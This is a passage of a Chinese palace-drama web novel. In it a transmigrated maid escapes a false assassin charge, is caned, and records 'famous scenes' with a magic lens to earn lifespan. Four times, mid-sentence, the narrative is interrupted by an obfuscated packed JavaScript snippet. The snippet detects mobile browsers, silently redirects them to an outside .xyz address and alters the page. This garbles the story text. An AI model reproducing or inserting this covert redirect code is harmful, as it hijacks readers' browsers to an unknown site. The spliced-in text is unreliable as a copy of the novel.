安居进听到这个回答,气得突然拔高本就不低的嗓音:“送礼你跑御花园做什么?昭容娘娘的闲云阁离这儿可不近,再说送礼怎只遣你一人,桃儿呢?其他人呢?”说着又是左看右看,故意拖延时间。 离安居进最近的一名宫女看到了安公公对她使的眼色,连忙偷偷退了几步,直到离开众人视线,跑到了御花园外,她直接拦了一名路过的小宫女,塞了几枚钱,让她帮忙跑腿儿一趟。 邝叶发现了安公公让宫女跑开,不知其意,还是如实回话:“送完礼,我听闲云阁姐姐说昭容在这儿摘槐花,我就来了。” “胡说!御花园的槐花哪能随便摘的?”安居进尖细的嗓音刺得人耳膜生疼。 跪在一边的林昭容被这声质问问得心虚,把头低了低,恨不得把自己缩成一团。她当然知晓御花园的槐花不能随便摘,她只不过拿这个作借口来御花园等皇帝罢了…… “陛下,”不等邝叶回话,姚贵妃开口了。 她才披上披风,发髻仍滴着水,面上无任何表情,心里却已经在盘算着,怎么在说出下一句话时除掉这个敢躲在树上偷看的宫女。 “臣妾治宫不严,未曾想到冷宫的宫女也有刺客之嫌,没能在萧妃姐姐回宫前调查清楚此人身份,致使陛下遭袭,臣妾愧对皇后娘娘和太后所托,请陛下降罪!” 贵妃竟真要把“刺客”的帽子安到这个叶儿头上……安居进感到额角的青筋直跳,娘娘啊,一个新出头的小官家的女儿和一个新选上的婢子罢了,您可真是为了出一口气不管咱们底下人死活啊…… 所有人皆屏息凝神,邝叶此时就是再愚钝,也从贵妃的话语里嗅到了敌意和危机,刺客可是要酷讯逼供出同伙后处死的,要是被扣上刺客的帽子,琉璃透镜上铤而走险换来的寿命就直接归零了。 现在这事是上升到“皇帝遇袭”还是回到“宫女玩忽职守”上,就看皇帝的态度了。 邝叶偷偷抬眼,看从始至终旁观,一言不发的皇帝。 他正展开手里的折扇,细细地看那出自名家之手的水墨扇面,似乎刚刚被砸倒的不是他,似乎这场牵扯甚广的闹剧还没那扇面上溅开的墨点子好看。 安居进刚要请皇帝示下,安静的空气中忽然传来一道细弱的女声。 “是臣妾,是臣妾让叶儿姑娘摘的槐花,”林昭容朝皇帝的方向深深拜下叩头,“臣妾近日常来御花园,见槐花开得好,便突发奇想摘槐花蒸饭,可槐树太高,臣妾等人够不着,正好遇上叶儿姑娘,说她会爬树,便……” 之后的不必说,众人也能猜得到了。 昭容怕别人不信,还要对邝叶嗔怪,“叶儿姑娘,我早让你别爬这么高,你非说上面的花好……” “我以前爬树真的很厉害。”邝叶附和了一句,在心里暗暗感激这个刚刚认识话还没说上一句的昭容。 “哼哼,”贵妃突然冷笑两声,拢了拢身上的披风,明晃晃威胁道,“昭容妹妹,袒护刺客可是同等罪过,你才刚为救我差点儿溺亡,难道还要救一个刺客把命搭上?你也不是救苦救难观世音菩萨,能有千万身外化身吧?” “贵妃莫再故技重施了!你为折辱我逼我落水又自己跳入水中,现在见有人能证明我清白,你又要迫害,我不过一个小小昭容,究竟哪里得罪了贵妃,让贵妃这样恨?” 昭容说着说着眼泪又簌簌掉下,可邝叶看皇帝,仍是漠不关心,把玩着折扇的白玉扇坠。 贵妃侧过头,淡淡的看了委屈的昭容一眼,“本宫何曾恨过你,感激你的救命之恩还来不及呢……可现在不是议你我这点小事儿的时机,陛下遇袭,刺客必须马上伏诛!” “啪”一声,皇帝合上了折扇,众人尽皆俯首低耳,等待圣喻。 邝叶心里直打鼓,完了,看皇帝这“关我屁事别来烦我”的态度,应该是不在乎这件事的处理结果了,无论处理是偏向贵妃的“把事闹大”,还是偏向安居进的“大事化小”,昭容又说不上话,最终肯定要把她推出来牺牲掉,所谓“死你一个,对大家都好”。 皇帝对安居进招招手让他近前,低声说了几句。 邝叶紧张地盯着皇帝的每一个细微动作。 实话当然不能说,说了要么被当成妖物,要么被当成疯子。 要不,说是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128574|180172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为了成为妃嫔故意往皇帝身上砸?不行不行,这不仅和原身的“慧妃忠仆”人设不符,而且敢用砸人这种危险行为搏上位,没准到时候罪加一等…… 皇帝吩咐完,安居进点头哈腰连连应“是”,就要吩咐移驾别处。 邝叶决定,铤而走险一把,大声道:“陛下,奴都是为了慧妃娘娘!” 皇帝像是突然回神,眉眼都多了几分凌厉。 “你为了慧妃?”他发问,说话间似是也在思量这个说法的可信程度。 邝叶发现有用,长出了一口气,再了一次叩首才说:“慧妃娘娘在昨日圣驾离宫后茶饭不思,神情恍惚……我想求陛下来看望,又听说昭容新得宠,我就来找了……” 昭容眼神闪了闪,神情多了些失落意味。 “你这死丫头,还敢狡辩!还敢拿慧妃娘娘来狡辩!”安居进举起巴掌,作势要打,可邝叶却从他貌似怒极的语气听出了底下隐含着的“说!再多说些!”。 但邝叶的捉急语言能力在说谎上的造诣也就这样了,如果是桃儿在这儿,应该会游刃有余吧…… “是了,”皇帝突然轻轻点头道,语气极温和,“她受了委屈也是默默的,还得你们底下人为她操心……”复又走到邝叶跟前道,“慧妃眼光不错,你的确是个忠心之人。” 宠妃忠仆人设起作用了,邝叶在心里不停感谢已魂归天外的原身叶儿,发誓一定好好活着,代替原身照顾她的家人。 周围众人有特别机灵的,都猜到皇帝这是爱屋及乌,打算放过这个宫女了。 “陛下,这是她的说辞而已,无论如何,她和昭容故意欺瞒,潜伏树上伤及陛下是事实,”贵妃看局势不妙,再度开口重申了要置邝叶于死地的决心,“宫人伤及圣体尚且要罚,何况她还有刺客之嫌,对此等可疑之人,绝不可轻拿轻放,务必彻查重罚!” “贵妃妹妹又要重罚谁了?” 一道熟悉的女声出现,安居进松了一口气,总算来了,救星! “娘娘。” “慧妃娘娘。” 慧妃的身影出现不远处,她一身湖水绿的衣裙,来得匆忙,鬓发甚至有一丝不易察觉的乱,脸颊因为着急赶来有些泛红。 见到头发还在滴水的贵妃和昭容以及邝叶,面上出现了一瞬复杂难辨的神色,但立刻被深切的忧虑和惶恐压下。 慧妃先是跪拜给皇帝行了礼,皇帝说了“免礼”要扶起她,她却又磕了一个头,说:“臣妾管教无方,致使我潆霞宫宫女冲撞圣驾,罪该万死,臣妾身为宫妃,有教化下人之责,亦难辞其咎,请陛下降罪。” 邝叶看着慧妃伏低的身影,那纤细的脖颈因用力青筋凸出,心头涌起一股混杂着愧疚和感动的酸涩,邝叶明明是为了自己的事才来的御花园,不应该把刚复位从冷宫出来还和皇帝心有芥蒂的慧妃牵连进来的…… 唉,还是怪这个身体太年幼,肌肉力量太弱了,这次如果能混过去,她以后一定好好吃饭好好锻炼! 5. 名场面五 “降罪?”皇帝的声音带着一股奇异的穿透力,原先些微的欣喜不见,取而代之的是些许愠怒,“爱妃匆匆赶来,就是为了替你的宫女向朕请罪?” 他往前踱了一步,袍角几乎要拂到慧妃的发钗。 接着,邝叶看见那个尊贵的身影竟弯下腰,一双骨节分明的手伸了下来,搭在慧妃伏地的肩上,尔后不容置疑地,将慧妃直接拎了起来。 “爱妃平身。” 慧妃吓得差些站不稳,头低垂着,不敢面对皇帝。 邝叶突然有种不好的预感,怎么感觉,慧妃赶来为她求情,反倒适得其反了呢?明明皇帝在知道她是为了慧妃而来时,已经准备放她一马了…… 难道……是因为慧妃第一反应是捞我而不是关心他,他不高兴了? 皇帝只让慧妃平身,慧妃所带来的几个宫女就都还得跪着,其中自然包括桃儿,桃儿即便跪着,手和眼睛也不安分,盯着邝叶的身影,拳头捏了又捏,恨不得马上冲过去抓着邝叶的肩膀摇晃问她“你又闯了什么祸哇?!” 贵妃觉察到皇帝微妙的不悦,又开口道:“萧姐姐,你蒙受圣宠,更应该知道包庇刺客是死罪。” 慧妃居高临下,瞪她一眼,却因为顾忌多说多错,什么也没说。 “尽管此人在萧姐姐失势之时自请跟随,又照顾了半年之久,萧姐姐对她有感激之情,然宫女忠于主人本就是理所应当,不足为奇,”贵妃看见慧妃的脸色因为她的话而更加不好,竟有种喜出望外之感,继续扎慧妃的心窝子,“况且这丫头有刺客之嫌,没准自请跟随就是为了姐姐你的信任,伺机谋害陛下。” 慧妃倒是因对方的离谱猜测和硬扣下来的窝藏刺客的帽子激发出了斗志,冷笑一声道:“贵妃妹妹为了脱罪可真是无所不用其极啊。闻而不审,不若无闻矣,妹妹说我的宫女是刺客而我有包庇之嫌,我亦可说贵妃妹妹欲将昭容溺死,未果还被我的宫女看见,而想杀人灭口。” 动用求生力量才驱动自己说了一个谎的邝叶,此时快要按捺不住给慧妃鼓掌的心情了,伶牙俐齿真好! “胡说!尔敢污蔑与我!”贵妃突然抬头大声反驳,又想到此时皇帝在旁,未敢再多言。 慧妃亦不答,但话说到这份上也已经足够。 昭容却是才被慧妃的猜测惊醒一般,看向贵妃,忍不住后脊背爬上来一股胆寒。 的确,如果只是为了逼她落水,给个她下马威,贵妃没必要亲自跳进湖里。 贵妃是太后内侄女,太后垂帘把持朝政多年,直到半个月前患病,才不情不愿地还政于皇帝,贵妃一向自诩高贵,对她一个母家式微的小小昭容做出这种伤敌一千自损八百的行径,怎么可能只是为了警告呢……贵妃是想要她的命! “呵,”各自思忖的众人听到皇帝轻轻笑了一声,那笑声里没有情绪,目光慢悠悠地扫过一旁形容狼狈的姚贵妃,又掠过脸色惨白、仍在微微发抖的林昭容,最后落回表情冷淡的慧妃身上,语调刻意拖长,“既如此,便依慧妃所言。” 安居进不解,斟酌之下开口:“陛下,奴婢愚钝……” “蠢材,”皇帝拿扇子打了一下安居进的官帽,“慧妃不是说宫妃有管教下人之责么,那就主奴一块儿罚。” 邝叶和桃儿同时倒吸了一口凉气,皇帝不悦的态度算一部分,更要紧的是,处罚的不明确。 慧妃却倏地再次跪下,不作任何辩白和求情,道:“臣妾认罚,谢陛下。” 邝叶也一个激灵,连忙跟着叩首:“谢陛下!谢娘娘!” 皇帝看她们主仆一眼,不再说什么,转身就要移驾别处,言行印证“君无戏言”四个字。 “陛下,陛下,”安居进着急忙慌地跟上皇帝,言语吞吞吐吐,“奴婢真是愚钝,这……如何罚之?” “循旧例。贵妃和昭容也遵循旧例。” 安居进更是一头雾水了,这,没有过宫女当刺客而宫妃窝藏的先例啊…… 安居进只好先追上皇帝脚步,带着御前的一批宫人离开。 邝叶对皇帝竟然真的罚了慧妃感到意外的同时,对皇帝有了个模糊的直觉,她前世和野生动物待得多了,似乎也拥有了本能式的直觉。 这个皇帝,是将这里的所有人,无论是新宠的林昭容,还是家世显赫的贵妃,甚至是所有人都视为“特别受宠”的慧妃,都视为和他手里的折扇或是扇坠一样的存在,是让他寻开心的,不能让他开心了就弃掉,不会耗费一丝心力去维护与这些人的关系——当然了,这不奇怪,他是皇帝,封建社会最高统治者。 但,站在慧妃的立场上就会很挫败,“特别受宠”原来也没那么特别…… 皇帝前脚走,贵妃后脚也带着人回宫,被宫女扶着走前,狠狠剜了慧妃和邝叶一眼。 昭容像是被吓着了,宛如惊弓之鸟,是由她的宫女半扶半架着,代她向慧妃道谢和告辞,也回了居所。 御花园内只剩潆霞宫众人,慧妃抬头看了引起风波的那棵老槐树一眼,槐花香一阵阵,随风而来,又随风而走…… “走罢,”慧妃下令道,“回宫等罚。” 桃儿急忙跑到慧妃跟前,扶着慧妃,又吩咐她的跟班儿之一的小荷,去扶起邝叶。 小荷刚到邝叶身边,问“姐姐还能站起来吗?”才要上手将邝叶扶起,却被慧妃斥道:“不许扶,让她自己走!” “是。”小荷何曾见过慧妃有这么严厉,只好唯唯诺诺应了,默默退开。 桃儿知道主子这是真生气了,连忙低头不语,降低存在感。 慧妃注意到桃儿的举动,冷冷道:“你别以为我不知道,你私下里都教了她些什么……” 桃儿心中大呼冤枉啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128575|180172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我从未教过她偷听和袭击皇上啊! 邝叶前倾身体,以手掌撑地,先是在地上坐着,让麻木的腿慢慢恢复知觉,然后凭自己缓缓站了起来。 在此过程中,袖子里的琉璃透镜不小心掉出来,好在并未损坏。邝叶弯腰捡起,却见上面呈现了一行字:【名场面:慧妃救婢(提前出现),收录失败!摄影师邝叶,剩余寿命:152天。】 她错过了一个提前出现的名场面…… 也就是说,慧妃赶来为她求情一事,本来不该发生在今天,有可能,甚至不会发生在她身上。 潆霞宫阖宫上下都在等皇帝对御花园一事的处罚,如履薄冰,气氛压抑的时候,御前总管太监安公公却是为此事烦得揪头发,玉簪搔了好几下头,带下来几根黑发。 贵妃和昭容都好办,一个“救”了人,一个“被救”,虽都成了落汤鸡,横竖都活的好好的,不失为一段佳话,依旧例,赏!着女史大书特书,传颂于各宫! 但慧妃和宫女叶儿就难办了…… 御花园时,他本来差人把慧妃请来,是为了利用慧妃这个得罪了皇帝的宫女来弥合皇帝与慧妃之间的关系,慧妃对这个丫头喜欢得紧,为了救她,必然要求助皇帝,而皇帝再顺水推舟罚得轻些,俩人不就能和好了么? 可现实却是恰恰相反,慧妃没有求皇帝看在她的份上饶恕她的宫女,而是要共担罪责。皇帝本来对宫女叶儿为主求见的举动非常欣赏,都要下旨从轻处罚了,慧妃来了不仅没有从轻处罚还要把慧妃一起罚…… 像是慧妃用自身胁迫皇帝,而皇帝身为九五至尊不接受一个后宫妇人的胁迫。 安居进觉着这一双他看着一路走来的璧人,越发让他看不懂了…… 安居进只能趁着奉茶之时,用对姚贵妃和林昭容的处置是否合适做引子,再一次请求皇帝对慧妃主仆的处置示下,彼时皇帝正心烦于政事,随口打发安居进,答案依旧模棱两可。 安居进凭借对皇帝的了解,斗胆将自认为合理的处罚提出,问皇帝的意思…… 晚膳之前,安居进带着两位掌罚的太监亲自来到潆霞宫,宣皇上口谕。 慧妃萧氏禁足三个月,宫女叶儿杖三十。 这罚的其实轻了,无论是对妃子还是对宫女,皇帝能点头,大抵是看慧妃面子。 皇上心里还是有慧妃的……安居进有了这个想法后,对两个掌刑的太监示意“意思意思就行了”,毕竟有人四十板就没命了,有人杖一百还能走。 两个掌刑太监对此也很上道,连声应:“小的明白!” 用刑是要让阖宫上下围观,以起到警示效果。 邝叶趴在刑凳上被一众同事围观打板子,社恐社死的痛甚至胜过了身上的痛,她心说,今后,我一定,一定,要好好吃饭好好锻炼,我再也不会从树上掉下来!再也不会! 6. 名场面六 “曲大人,这边,在这儿……” 桃儿把背着药箱的医女引到床边,邝叶正趴在床上,脸埋在柔暖的枕头里,对于医女,她作为病人也不好奇对方医术如何、有没有资质,在乎的只有:又多一个人知道她被打板子了…… 曲大夫看也不看邝叶那张因当众社死而泛着死灰色的脸,只伸手把她新换上的衣裳打开,观察了一下伤处,就如同任何一个经验丰富的医生那样,对这种司空见惯的伤冷冷地下医嘱:“冷水擦洗,避开破皮处,次日上药,我留一瓶红花油给你们。饮食上少吃发物。” 就这么简单么? 桃儿不敢置信,以为医女是看邝叶只是宫女而不好好诊治。 “曲大人,请一定仔细给她瞧,她年纪还小,可千万不能留疤的……” 邝叶此时不想说话,只敢在心里宣称:伤疤是女人的荣耀。 “不会留疤,姑娘若不信我,大可以另请高明。”曲大夫语气毫无波澜,留下一瓶药油就告辞了。 其实邝叶在受刑时能感觉到,板子落在她身上的力道透着一股巧劲,听着响,实则避开了筋骨要害,疼肯定是疼的,但并不严重,曲大夫并不是敷衍。 但桃儿不这样想,她觉得宫里的人有一个算一个全都是些势利眼,看她主子被禁足了就落井下石,看她们只是宫女就敷衍了事。 “姐姐,”小荷端着一盆水进来,邀功似的对桃儿道,“曲大人不是说冷水擦洗么?我打水来了。” 这不正好撞枪口上了?桃儿瞪她一眼,接过水盆,恶狠狠地说:“你下去!” 非但没有收到夸奖,还被骂了的小荷压下心里的委屈,也没辩白,乖乖走了。 小跟班儿走了,这屋里除了桃儿自己,就只剩邝叶这个胆大包天的罪魁祸首了…… 湿布巾突然“啪”一声甩到邝叶的后臀上,疼得她闷哼了一声,桃儿红着眼眶,一边擦拭邝叶的伤处,一边带着哭腔骂她:“死丫头!你个死丫头!让你去送礼,你跑去爬树!你爬树就爬树,怎么还敢砸到陛下?!你属猴还真把自己当猴儿了是吧,害得主子被禁足……” 桃儿骂人的话又多又密,邝叶嘴笨,想道歉求饶都找不到空隙,只能一边忍受言语攻击,一边忍受物理伤害。 路过的小宫女听到,都不禁胆寒:啊?这?皇上打完板子慧妃还要再罚一回的么?还要边打边骂这么羞辱人的么?被调来潆霞宫之前不都说慧妃娘娘性情温和吗? 桃儿冲邝叶发了一顿火之后就走了,她很忙碌,既要关注慧妃的情况,又要稳住潆霞宫蠢蠢欲动的宫人。 邝叶独自一人,反倒清净,她拿出藏在枕头下的琉璃透镜,上面依旧显示她的寿命是152天,没有新的收录任务出现。 原主这具身体太年幼太弱了,尽管行刑太监在安公公打点下手下留情了,但恢复起码也要超过一星期,希望七天之内没有名场面要收录……不对,慧妃要被禁足三个月,她和桃儿肯定也是不能乱跑的,希望三个月内都没有名场面要收录…… 邝叶就这么攥着冰凉凉的琉璃透镜,趴在床上睡着了,就如同前世抓着相机,靠着搭载她的越野车,在去到栖息地的路上小憩一样。 【名场面:潆霞宫两心相望。等级:D。00:15:00】 邝叶猛地睁开了眼,仿佛心灵感应,又仿佛她脑子里的另一套系统是特意在此时将她的神经激活,名场面收录任务正好发布。 周围很暗,但琉璃透镜上的字能自发光,光线很柔和,像是萤火虫所发出的光。 邝叶看了一眼任务,发现是个D级名场面,还不如她刚来时收录的那个呢,按照目前信息推断,A级获得120天寿命,B级还未收录过,不清楚奖励,C级获得30天,D级肯定是要少于30天,她现在又有伤在身,这个名场面,不收录也罢…… 邝叶缓缓闭上了眼,打算继续睡。 【警告!摄影师邝叶目前已收录失败一次,收录失败达两次将进行寿命扣除,失败三次将冻结当前寿命180天。】 什么?!她收集到的寿命都不够扣的! 邝叶的腰背马上像搁浅的活鱼不甘死去而挣扎乱蹦一样,支棱了起来,臀部和大腿马上传来一阵痛。 得亏邝叶前世受过不少伤,忍痛力惊人,咬着牙生生忍住了叫痛声。这配房里不只她一个住,还有桃儿,要是把还没消气的桃儿吵醒了,高低得给她再来一顿言语攻击。 不行,她好不容易挣来的152天寿命,又是砸到皇帝又是得罪贵妃又是连累慧妃才得到的152天寿命,绝不能因为区区一个D级被扣除——不管扣多少,一点儿都不能少。 邝叶咬住琉璃透镜的系带,疼痛攫住了她,她不敢翻身,只能先靠双手移动,把上半身探出床外,将鞋子挪到床边合适的位置,然后,慢慢地,慢慢爬了下去。 她此时就像一条巨蜥,一条在给两只后脚穿鞋的巨蜥。 巨蜥邝叶凭借极佳的夜视能力很快穿好鞋,扶着床站了起来,看了一眼散发着荧光的透镜,上面的倒计时已经走到【00:13:25】,邝叶连忙将它系在手腕上,朝着房门艰难地迈出了第一步。 邝叶的臀部和大腿有伤,尽管尽量小心,但脚步声肯定是有的,好在桃儿因为白天事情多劳累,晚上睡得很熟,邝叶这点儿声响并没能把她吵醒。 邝叶这么以一种极其诡异的姿势走出了她所住的屋子,走到了院子里,夜风带来凉意,一轮盈凸月高悬在天上,月色皎洁如水,没有光污染的时代,月光出乎意料地亮。 有个小宫女起夜,打着哈欠出房门,去往茅房,刚把眼睛眨了眨,让视野清楚些,就看见一个披头散发的人形玩意儿像个石像——总之不像人那样走,小宫女马上想起来进宫前听过的山野精怪化形之类的故事,吓得一激灵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128576|180172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,又怕惊动了那精怪,赶紧捂住自己的嘴,躲回屋子里,茅房也不上了,就这么裹着被子睁眼到了天明。 邝叶的感知是很敏锐的,只是她的现在注意力全在自己痛得要命的伤处和克服疼痛走路上,全然没有注意到有个同事因为她而彻夜难眠。 倒计时已经走到了【00:07:43】,邝叶已经适应了疼痛,已走到正殿前,此时夜深,宫门自然是锁住的,周围静悄悄,没有一格窗子透出光来。 此时邝叶对她要拍的名场面毫无头绪。 从名字“潆霞宫两心相望”上分析,这个名场面跟潆霞宫有关,但潆霞宫范围可太大了,“两心”则是个模糊的指代,谁人的心?哪两个人的心?邝叶都不知道,只有“望”这个动词是明确的。 如可以提意见,邝叶真想给收名场面的幕后写意见信:发布任务请直译!别搞文艺! 邝叶分析不出来,但她知道“登高望远”这个浅显的道理,于是,她左看右看,找了一找,寻到了一个可以爬到围墙的地方。 有棵树,有棵枝条靠近围墙的树。 邝叶很擅长爬树,也很能忍痛,但身体也会有跟不上意志力的时候,邝叶试了三次,都因为腿痛得打颤而放弃。 透镜上发着萤光已经走到了【00:03:05】,邝叶一咬牙,心一横,奋力一跳,抱住了最矮的分枝,忍着痛双脚勾住了枝干,翻身爬上了树,邝叶已是满头大汗,她却顾不得擦,急忙踩到另一条枝干,又爬到围墙上。 在倾斜的围墙上当然不敢站着走,于是邝叶又变成了巨蜥一样爬着走,才刚要爬到宫门的位置,就见灯笼的暖光从那边的拐角照出来。 邝叶赶紧停住趴下,让自己的身体藏在屋脊之后,只露出一颗脑袋和举着透镜的右手,紧紧盯着那道暖光,直到脑海里响起大到类似快门的“咔嚓”声为止。 “陛下,是否叫慧妃娘娘接驾呢?” 夜深人静,说这句话的人声音并不大,但却能让邝叶听得很清楚,原来,两心相望里的两颗心,指的是皇帝和慧妃啊…… “不必了,让她好好禁足。”皇帝不戴发冠也不簪发,头发只仅仅束上,身上披着绣金龙的披风,慢慢踱着步,否了御前太监金全忠的提议,却在潆霞宫的宫门口停住,抬头看了一眼,又继续向前走。 走远了,他招手让金全忠凑近,对对方低声吩咐:“去查一查当初自请跟慧妃去冷宫的宫女,尤其查清,是否其中有太后的手笔。” “遵旨。”金全忠哈腰应下,见原本无心睡眠而出来散步的皇帝步履加快,连忙也加快步伐在皇帝前面提灯。 皇帝确信,虽只有一眼,但他看到了白天将他砸倒的那个慧妃的宫女,叫叶儿的,她似乎身负什么照明的东西,把她的脸照得很清楚…… 白天才因为爬树而被罚,就是记吃不记打都不应该带着伤在夜里爬树上围墙…… 7. 名场面七 邝叶新收集到了15天的寿命。 琉璃透镜发着淡淡的荧光,上面显示【摄影师邝叶,目前寿命:166天。】 15天不多,收录的意义在于避免寿命被扣除。 然而,目前问题是……怎么从围墙顶回去配房? 此时夜深人静,叫人帮忙不仅扰人清梦,还显得形迹可疑,当然是不能叫人的。 那就…… 邝叶手脚并用,原路返回,往那棵她上墙的树爬去,爬到枝干上,又沿着树干往下爬。 邝叶本以为自己的伤已经疼麻木了,但她显然低估了自己这具新身体对疼痛的感知,方才她用尽全身力气攀住树干,堪堪有愈合迹象的伤口崩开,汗水流进破损的伤口,又痒又疼,一回到地面,邝叶难受得几乎要蜷缩起来,每走一步,臀腿的肌肉都像被钝刀反复切割,更多的冷汗顺着额角鬓发小溪般淌下。 她甚至不能直立行走,只能手脚并用,以返祖的姿态爬行回配房。 好在一路上没有遇到任何起夜的同事,否则得把她们吓死过去。邝叶顺利地爬到了配房,她小心地将走前虚掩的门推开,左看右看才迈过门槛走进去,找到了桌子,撑着桌面站起来,手在桌子的布巾上擦了擦,往自己的床走去。 “啊!”突然听见大叫一声,桃儿的床上出现一个坐起来的人影,是桃儿被邝叶急促的呼吸声惊醒了。 “作死啊你!怎么跟个野鬼似的?”桃儿发现是邝叶,压低了声音骂。 邝叶已经没力气回答,她疼得脸色发白,此刻只想回床上缓缓。 桃儿却起床点了灯,来到邝叶床边,见邝叶抬起头正要对她说什么。 “趴好。”桃儿把她按回床上,动作有些粗鲁。她掀开邝叶渗出点点血色的衣裙,借着灯光看去,汗水混着伤口流出的血液,将包扎的敷料浸透,黏连在皮肉上。 桃儿倒抽一口冷气,声音都变了调:“你起夜叫我一声能怎么你了,伤成这样还要逞强。”忙去翻找白天医女留下的药油和干净的帕子,嘴里不停数落邝叶。 冰凉的药油触碰到绽裂的伤口,这种程度的刺激对于刚刚忍着痛爬树的邝叶来说,仅仅只让她皱了皱眉毛。桃儿却注意到了她这个不明显的动作,一边丢掉擦拭的帕子,放轻了上药的动作,一边嘴里不饶人:“疼死你活该!” 邝叶看着桃儿气得五官快要揉到一起的脸,庆幸还好吵醒的是心直口快的桃儿,如果吵醒的是敏锐却缄口不言的慧妃,那就麻烦了…… 邝叶怀疑,慧妃很可能知道她不是像她嘴上说的那样,为了慧妃而去的御花园求见皇帝,而是另有目的…… 后来的几天,琉璃透镜的名场面收集任务没再出现,邝叶心安理得地以养伤为由在床上躺着,慧妃和桃儿主仆两人在管人上都很有手段,用极快的速度将潆霞宫底下动荡的人心稳了下来。 太稳了。 有个末等小宫女大抵是被桃儿“上下一心,忠心为主”之类的话术忽悠,竟然对勇闯御花园的邝叶产生了崇敬,自告奋勇帮邝叶换药。 桃儿想着她已经是大宫女了,不应该再干这种照顾宫女的活,便同意了这名叫茵绿的宫女的请求,还减了一些原本分到茵绿身上的活计。 茵绿人很好,手脚勤快,人也机灵,就是太自来熟了,对刚认识的人喜欢说个不停来套近乎,帮邝叶换药的过程把邝叶老家祖坟在哪儿、祠堂牌位传了几代都问到了。 邝叶是个社恐,在一个不熟的同事面前一边露臀一边社交,这种场面对她来说还是太超过了!她只想对方问完想问赶紧闭嘴,于是对方一问她便答,答的简短又快速。 两人的交谈竟恍若审讯一般。 若不是女的不能进祠堂,邝叶没看到相关的记忆,茵绿还真能通过换药这一时机,把原主叶儿的族谱给理出来…… 就这么聊了两天,邝叶实在受不了了,赶紧跳下床宣称“我好了”,让茵绿别再来了。 茵绿前脚请示桃儿回归了自己原先的岗位,后脚和当天尚食局送膳的宫女递了个消息,仅四个字:“暂无可疑。” 邝叶既然说自己伤好了,肯定也要回归岗位。 于是,邝叶在御园风波后的五日早,在桃儿的带领下,第一次见到了慧妃。 慧妃还是邝叶初见时的模样,或者该说,慧妃变回了邝叶初见时的模样,温和的,沉静的女人。 邝叶跟着桃儿给她行礼,陪她梳妆,看那磨得光亮的铜镜映出慧妃头发散下的出尘模样,陪她用早膳,看她执箸呷茶都优雅得体。 慧妃被禁足于潆霞宫,但皇帝特别嘱咐,吃穿用度上不许缺短。 外人看来,是有足够的钱和独一份的恩宠,才堆出来了她这么个气度不凡的姿态,可桃儿和邝叶知道,她在冷宫也是这样的,没有了钱和恩宠,她也是这样的。 慧妃用完早膳,让其他人各司其职,她的寝殿只留了桃儿和邝叶。 只有她们三人,又像在冷宫时一样了。 桃儿见慧妃刚吃过饭就又在书案前坐下,忙提醒道:“主子,要不出去走走消消食?不能出宫门,在院子里走走也好啊……” 慧妃对她轻轻摇头,有些任性地说“不去”,又看向因为走神而像条木头一样站着的邝叶,道:“叶儿这么快就能下床跑,也不怕拆了安公公的台。” 邝叶听到点她的名,回过神来,但不知道慧妃说了什么,只能尴尬的笑笑,低下头。 慧妃也被她逗笑了,解释道:“安公公特地让行刑的关照了你,不然,你怎能才过五天就活蹦乱跳了。” 邝叶点点头表示懂了,见慧妃挺高兴的,便按照起床洗漱时和桃儿约好的一样,扑通一声跪下了。 慧妃见她突然下跪有些讶异,那抹浅笑滞在脸上,竟是有些不知所措。 桃儿此时想拍自己脑门儿,叶儿这个木头脑袋,怎么挑了这么个时机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128577|180172||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,主子心里才痛快点儿她就来找不痛快……早晨该和她说的再清楚些的! “娘娘,我错了,我不该擅自去御花园面圣,不该冲撞圣驾,不该连累了您,您罚我吧,您别再气了……”邝叶演技浮夸地把桃儿教给她的台词一口气念了出来,磕了一个头,可惜没能像桃儿说的,再掉几滴眼泪。 桃儿说,这么说主子就心软了,就原谅了。希望有用……从各方面考虑,她都想继续在慧妃这儿呆着。 “唉……”慧妃深深叹了一口气,提起来的笔又挂回了笔架,让桃儿把邝叶扶了起来,让她们俩都坐。 